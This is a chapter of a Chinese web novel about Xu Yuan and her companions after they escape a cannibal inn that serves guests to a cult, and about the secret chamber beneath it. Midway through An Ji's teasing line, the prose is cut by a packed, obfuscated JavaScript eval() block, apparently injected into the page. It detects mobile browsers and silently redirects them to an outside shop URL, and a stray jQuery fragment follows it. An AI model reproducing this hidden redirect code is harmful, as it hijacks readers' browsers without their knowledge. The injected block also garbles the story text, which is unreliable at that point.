“咚咚咚——”
门外传来敲门声,紧接着一人推门而入,手里还端着一个托盘。
随着来人转身与许鸢视线相撞,许鸢认出了来人,是前不久救下的闻徐遇。
“许姑娘,醒了?”
闻徐遇并不意外许鸢的醒来。他端着托盘靠近,弯腰将托盘放在床边的凳子上,并坐到另一个凳子上。
闻徐遇:“醒了就好。”
“闻大夫。”许鸢用没受伤的手捂着隐隐作痛的脑袋,询问情况:“现在什么情况?你还好吧?”
“我没事。许姑娘不记得了?”闻徐遇朝许鸢伸手,轻启红唇,“手给我,我给你换药。”
许鸢很配合地伸出手,任由闻徐遇上手解开手上的布条,露出手掌已经止血的伤口。五个手指有着不同程度的伤口,掌心一条从左到右横向的伤口最深,本应该裂开的伤口已经用线缝合好,露出的线条均匀排开,缝合技术很好。
“记得一点,但是可能是那安神香的缘故,我脑子有点乱。”许鸢解释。
昨天晚上,许鸢听见了外头传来动静,她小心翼翼地打开门缝探查,然后发现客栈老板和青衣姑娘悄悄走到童岳和安顺平所在的房间。
二人推门而入,里头发现了一些声响,而里面并没有传来童岳二人的声音。
许鸢很清楚,安顺平浅眠,一些风吹草动就能吵醒他。这一路上安顺平晚上总是醒着,问就是睡不着或者是被吵醒了。
二人的动静安顺平准会醒。
没一会就许鸢就看见童岳和安顺平被人拖了出来,转移到了楼下一个屋子,屋子下面还有一个密室,客栈打杂的伙计在接应。许鸢拿上剑就跟在了他们的后面,密室除了被拖进来的童岳和安顺平,还有一个被吊在木架上的可怜人,是闻徐遇。
发现客栈老板准备将童岳三人剁了做肉包子,许鸢想起了白天客栈老板说的糕点有肥肉,立刻清楚了情况。
有系统的帮助,许鸢以一敌三没有吃数量的亏,但是许鸢因为要保护不能动的闻徐遇,手掌在当时情急下握住了刀,受了伤。
许鸢将客栈老板二人制服住了,官兵闯入了密室,原来这家黑店早就被发现。
因为许鸢在密室里吸了客栈老板的安眠香,她出了密室困意十足倒了,被人护送回房间休息。
“这安眠香里有‘曼陀花’的成分,除了让人陷入昏睡,还容易让人产生幻觉。”
闻徐遇伸手拿过托盘上的白瓷瓶,在许鸢摊开手的手指和掌心的伤口上撒上白色的粉末,将粉末均匀铺平在伤口周围,随后才用干净的纱布重新包扎。
“安眠香之所以叫安眠,一般闻了这些香做的都是些好梦,让人流连忘返,不愿醒来。”闻徐遇抬眸,似在观察许鸢的表情,“看许姑娘的表情,似乎没有做美梦,而是噩梦。”
许鸢苦恼应声:“可能是最近看了些妖妖鬼鬼的小说,混杂在梦里了,有点吓人。”
老大一只会发光的萤火虫趴在人皮之上,还有那些会动的皮囊......
许鸢浑身一颤,摇头不愿多想,“闻大夫,你怎么会在这?”
闻徐遇将布条打好结,“有位故人身体不适,写信让我去看诊,中途来到这被迷晕关到了密室里。”
好在闻徐遇没有被客栈老板立刻做成肉包子,等到了许鸢的闯入。
换好药,闻徐遇先出了屋。
许鸢换了身衣裳出了门,站在二楼的过道,她俯身望向楼下,楼下站着不少人。楼下不远处童岳脸色苍白,他和童双坐在角落无人的凳子上休息。
楼下视野中央一年轻人坐在桌上,一脚踩在凳子上,他双手环抱于胸,怀里还揣着一把剑,听见响动抬起了头。
许鸢和揣剑的男子四目相对,认出了对方。
安吉眉眼弯弯,抬起一只手朝她挥了挥,欢悦询问:“许姑娘,睡得可好,做了什么好梦啊?”
安吉就是昨日许鸢记忆力闯入的官府官兵领头人。
随着安吉的话,童家兄妹都抬头看向许鸢。
童双:“许姐姐。”
许鸢朝童家兄妹点头示意,跟着闻徐遇下了楼。
刚走到楼下,许鸢就见安顺平冲了过来,眼神担忧地看着她。
许鸢笑着用没受伤的手摸了摸他脑袋:“没事,好着呢,就做了个噩梦。”
安顺平目光看向闻徐遇眼神警惕狠厉,然后,他的脑袋被拍了一下。
安顺平吃痛捂头。
“不许对大夫无礼。”
许鸢手上的伤是闻徐遇包扎的,她自然不希望安顺平对人有偏见。
安顺平垂下脑袋点头,在许鸢看不见的方向又狠狠瞪了闻徐遇一眼。
闻徐遇表情淡漠,并不把安顺平当回事。
一旁的安吉眉毛微挑,声音故作差异:“噩梦啊?那可真是万里挑一,你朋友可都做的好梦。”
许鸢走到童岳兄妹身边。童岳略显苍白的脸,许鸢关切地询问:“童大哥,你没事吧?”
童岳摇头,扯出一抹笑,“没有大碍,就是......被客栈老板喂了点麻沸散,没什么力气。大意了......”
童双没好气地开口,“哥,我就算了。你好歹行走江湖多年,差点成为别人的盘中餐了,还要多谢许姐姐及时察觉,这可是救命之恩。”
“救命之恩,无以为报。”童岳望向许鸢,眼神坚毅,“若有用得着的地方,尽管开口。”
许鸢:“都是朋友,童大哥之前有救过我,我们并不相欠。”
童双拍了拍哥哥后背,“好了,你还是好说些话吧,你这不知道的还真以为被削皮挫骨了。”
童岳扯出一苍白的笑,“盼你哥点好吧。”
另一边,安吉看向闻徐遇,“怎么样?”
闻徐遇淡淡回复:“并无大碍,我再开几贴药就会好。”
这黑店的老板三人被五花大绑着等候被押解回衙门,安吉等人没有立刻离开,而是在翻找这黑店中的东西,害怕还有其他受害者,并等许鸢醒来询问情况。
许鸢将自己记忆中的情况告知安吉,安吉眉毛微挑,视线转向前面被塞着布无法说话的客栈老板。
“很会做买卖啊?”安吉语气讥讽:“拿人命做买卖,也不怕吃死你自己啊?”
客栈老板目眦欲裂,被衙役押着无法动弹,说不出话,只能“呜呜呜——”说话。
许鸢来之前就已经审问结束了。
童岳虚弱告知许鸢情况,“这个老板与一群爱食‘肉’的邪信徒有交易,客栈将来往样貌俊美的住客做成餐食供他们吃,他们认为吃什么补什么,他们的样子也能越来越美。”
老顾客点糕点,糕点分为两种,分别对应男女,一般不能串。男人想要肉包子,给出的糕点就是代表手上有无货源。
童岳正巧被那老客看上了,所以客栈老板才会如此着急将童岳带走。
许鸢一阵恶寒,不禁吐槽。
也不怕吃死自己啊?会生病的啊?!
“那个卖家呢?”许鸢询问。
童岳摇头,“好像逃了,安大人已经派人去追了。”
调查这个邪组织是官府需要处理的,安吉并没有让许鸢等人参与接下来的案件侦查,他们也没有身份。
许鸢这些受害者口供被录下后,安吉便让他们赶紧离开这个是非之地。
但是童岳兄妹被安吉留了下来。
许鸢有些不放心,童岳递给许鸢安心的眼神。
“我与安大人是旧识,回衙门休养顺便叙叙旧。”童岳面露歉意,“抱歉许愿姑娘,昨天和你们同行计划怕是没有机会了。”
安吉还在一旁调侃,“许姑娘如果放心不下童岳,不如跟我们一起去衙门叙叙旧,让童岳好好报答一下你的救命之恩。正所谓救命之恩,这不要以身——咳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905562|209744||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
咳请顿饭?”
童岳皱眉,“安吉。”
许鸢倒是没有觉得有什么,看二人熟稔地交谈,便没有多想。
“我还有事,就不了。”
许鸢手上还有押镖订单要送,没时间在这里逗留。
待许鸢走后,童双被童岳先忽悠出了客栈。
安吉看着童岳严肃的脸也挥手示意衙役出去,二人相互对视都没有说话。
客栈藏有密室的屋子走出了两个人,一男一女,男子一身黑衣蒙面,女子一身蓝衣蹦蹦跳跳。
安吉无奈地看向出来的姑娘,说道:“泠泠,你这‘忘忆’真的不是假药吗?怎么一个两个都不管用。一个没忘彻底,一个压根没忘。”
叫作泠泠的姑娘,扎着两个丸子头,手里甩这一个锦囊。她一双杏眼盯着童岳,“忘忆要是每个人吃了都能忘记,除秽阁要平忆门干什么吃?老七恐怕早就被其他几个人踹了。”
安吉点头,“这也说得对,早知道这样就把老七喊来了。”
这种烂摊子,他们最不想收拾了。
泠泠道:“童岳,惜璘城童家长子,拂剑的关门弟子,‘剑如清风拂面,不死也伤’。”
童岳皱眉。
安吉翘着二郎腿,“你不用惊讶,除秽阁负责江湖之事,我们知道的还是不少的,而且童公子行囊中的信物,我有幸见拂剑那个老头戴过。”
童岳皱着眉,“既然泠大人知道家师,昨夜之事还望告知在下。”
泠泠收起笑容,甩着香囊的手停下,香囊因为惯性来回摇摆着。
“童公子,知道了对你可不是好事。”
童岳捂着手臂,手臂疼痛没有丝毫缓解,“你们就算这次拦得住,我也会自己调查清楚。”
安吉看向泠泠,眼神似在询问。
泠泠耸肩,“算了,反正他这种吃了忘忆都不能忘的迟早会知道,进来吧。”
泠泠带着童岳进入密室,童岳偏头警惕旁边,刚刚一句话不讲的黑衣人就在他身边。
“你说我们怎么这么倒霉,老是遇见这倒霉事。”
“那是你,别扯上我。”
“嘿!你个小没良心的。”
安吉和泠泠在前面你一言我一语,后面的黑衣人眼神平静,沉默不发一言。
客栈底下并不只有一个密室,密室中间的主石室最大,周围连接着一个两个通道,通道连接着一个又一个密室,分别对应客栈内不同的房间。
几人到达中央石室,泠泠抬手打了个响指,昏暗的石室瞬间亮起烛火,石室最中央的两个石床上。
左侧石床躺着一个人,被五花大绑,嘴里塞着布,只能痛苦挣扎。另一张石床上则躺着一只大虫子,它的身体正发着光,流动的液体在它身体里旋转翻倒。
石床周边散落着大小不一的肉皮,皮很薄,可见功夫之深。
这些大多都是被锋利的刀刃切开过,就像无用的碎纸屑,随意地散落在各处,只有几张看似完好的人皮倒在其中。
如若许鸢在场,她会发现那只大虫子就是她噩梦中所见到的实物。
童岳踩着这些皮一步步靠近石床,他注意到石床上他手臂流出的血迹还未消失。
童岳只感觉脑子隐隐作痛,手臂上险些被剝离的皮在挣扎挪动,痛让他的唇又白了几分。
他的耳畔传来安吉的声音。
“童岳,你相信这世上有一见钟情的事吗?”
童岳不明所以。
“所谓一见钟情,不过就是见色起意。”
泠泠走到石桌旁,她表情淡定地伸手抚摸那只发光的虫子。她眸光微闪,“有人终其一生都在爱一人,爱的是灵魂;有人终其一生只爱一类人,爱的不过是那张皮囊。”
女子动人的容貌,男子俊美的脸庞,是一见钟情最重要的筹码。
同样的容颜,有人能够一眼洞穿,也有人甘愿沉沦。